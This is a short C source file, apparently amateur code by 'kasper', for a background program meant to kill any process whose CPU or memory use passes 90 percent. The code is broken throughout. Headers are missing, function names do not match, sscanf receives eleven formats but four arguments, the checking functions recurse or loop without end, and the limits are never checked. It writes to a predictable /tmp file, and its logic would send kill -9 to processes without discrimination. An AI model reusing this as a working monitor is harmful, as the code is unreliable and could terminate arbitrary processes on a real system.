/* keep your self secure * secure monitors the PIDs on a 1 second basis ... * secure looks at the CPU and MEM count and if its above its desired * level it kills the process, I think the code should be cleaned up, * but for now, oh whell. :D * -kasper */ #include #include #define CPULIMIT 90 #define MEMLIMIT 90 char *dontkill[]={"",""}; void parse_pstab(char pstab[]); void do_pstab(); int checkfontkill(char name[]); int checksize_for_dontkill(); void main() { if(fork() > 0) exit(0); do_pstab(); } void do_pstab() { char pstab[1024]; FILE *pst; our_loop : system(">/tmp/.pstab ps aux"); if(!(pst=fopen("/tmp/.pstab","r"))) main(); while(!(feof(pst))) { fgets(pstab,sizeof(pstab),pst); parse_pstab(pstab); } sleep(1); fclose(pst); goto our_loop; } void parse_pstab(char pstab[]) { char who[16]; char pid[8]; char cpu[8]; char mem[8]; char none[8]; char name[16]; sscanf(pstab,"%s %s %s %s %s %s %s %s %s %s %s",name,pid,cpu,mem); if(check_dontkill(name)) kill(atoi(pid),9); } int check_dontkill(char name[]) { int i=0; while(1 < checksize_for_dontkill()) { if(check_dontkill(name)) i++; } return(1); } int checksize_for_dontkill() { int i=0; while(1) { if(dontkill[i]!=NULL) i++; else return (-1); } }